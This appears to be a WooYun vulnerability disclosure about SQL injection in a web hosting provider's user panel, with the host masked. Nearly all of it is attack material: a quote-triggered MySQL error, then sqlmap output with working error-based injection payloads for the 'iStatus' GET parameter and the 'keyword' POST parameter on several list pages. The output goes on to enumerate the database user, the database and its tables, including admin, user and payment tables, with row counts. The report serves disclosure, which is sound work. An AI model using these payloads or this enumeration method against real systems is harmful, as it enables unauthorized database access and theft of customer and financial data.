WooYun.org

http://**.**.**.**/user/domain_list.php?iStatus=2 (GET)

http://**.**.**.**/user/domain_list.php?iStatus=2'
返回错误
MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => select count(*) from domain where 1 AND UserName='*******' AND iStatus='2'' ) [2] => Array ( [error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1 ) [3] => Array ( [errno] => 1064 ) )

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: iStatus
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: iStatus=2' AND (SELECT 4685 FROM(SELECT COUNT(*),CONCAT(0x71786a687
1,(SELECT (CASE WHEN (4685=4685) THEN 1 ELSE 0 END)),0x7166757471,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'KvQP'='KvQP
---
[10:14:47] [INFO] testing MySQL
[10:14:48] [INFO] heuristics detected web page charset 'ascii'
[10:14:48] [WARNING] reflective value(s) found and filtering out
[10:14:48] [INFO] confirming MySQL
[10:14:48] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[10:14:48] [INFO] fetching current user
[10:14:48] [INFO] resumed: gz3721@%
current user:    'gz3721@%'
[10:14:48] [INFO] fetching current database
[10:14:48] [INFO] resumed: gz3721
current database:    'gz3721'
[10:14:48] [INFO] testing if current user is DBA
[10:14:48] [INFO] fetching current user
current user is DBA:    False
database management system users [1]:
[*] 'gz3721'@'%'
available databases [2]:
[*] gz3721
[*] information_schema
Database: gz3721
[27 tables]
+--------------+
| 400          |
| database     |
| domain       |
| order        |
| admins       |
| config       |
| dcontact     |
| doc          |
| email        |
| financial    |
| getpwd       |
| host         |
| mohost       |
| news         |
| nicebox      |
| nicecall     |
| onlinepay    |
| payment_type |
| products     |
| qq           |
| question     |
| secu_class   |
| security     |
| server       |
| server_old   |
| sms          |
| users        |
+--------------+
Database: gz3721
+--------------+---------+
| Table        | Entries |
+--------------+---------+
| doc          | 247     |
| products     | 227     |
| security     | 48      |
| question     | 46      |
| config       | 33      |
| financial    | 23      |
| users        | 18      |
| secu_class   | 14      |
| `order`      | 13      |
| onlinepay    | 12      |
| news         | 11      |
| getpwd       | 7       |
| `domain`     | 6       |
| dcontact     | 6       |
| payment_type | 5       |
| host         | 3       |
| admins       | 2       |
| email        | 2       |
| qq           | 1       |
| server       | 1       |
+--------------+---------+

http://**.**.**.**/user/domain_list.php (POST)
keyword=111
http://**.**.**.**/user/host_list.php (POST)
keyword=222
http://**.**.**.**/user/mohost_list.php (POST)
keyword=333
http://**.**.**.**/user/email_list.php (POST)
keyword=444
……
http://**.**.**.**/user/host_list.php (POST)
keyword=999
http://**.**.**.**/user/order_list.php(POST)
keyword=1234
http://**.**.**.**/user/fin_list.php (POST)keyword=2345
http://**.**.**.**/user/infolist.php (POST)keyword=12345

POST parameter 'keyword' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 35 HTTP(s) requ
ests:
---
Place: POST
Parameter: keyword
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: keyword=111') AND (SELECT 7427 FROM(SELECT COUNT(*),CONCAT(0x716964
6471,(SELECT (CASE WHEN (7427=7427) THEN 1 ELSE 0 END)),0x7164796f71,FLOOR(RAND(
0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('Rdzk'='Rdzk
---
[18:17:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[18:17:41] [INFO] fetching current user
[18:17:41] [INFO] retrieved: gz3721@%
current user:    'gz3721@%'
[18:17:41] [INFO] fetching current database
[18:17:41] [INFO] retrieved: gz3721
current database:    'gz3721'
[18:17:41] [INFO] testing if current user is DBA
[18:17:41] [INFO] fetching current user
current user is DBA:    False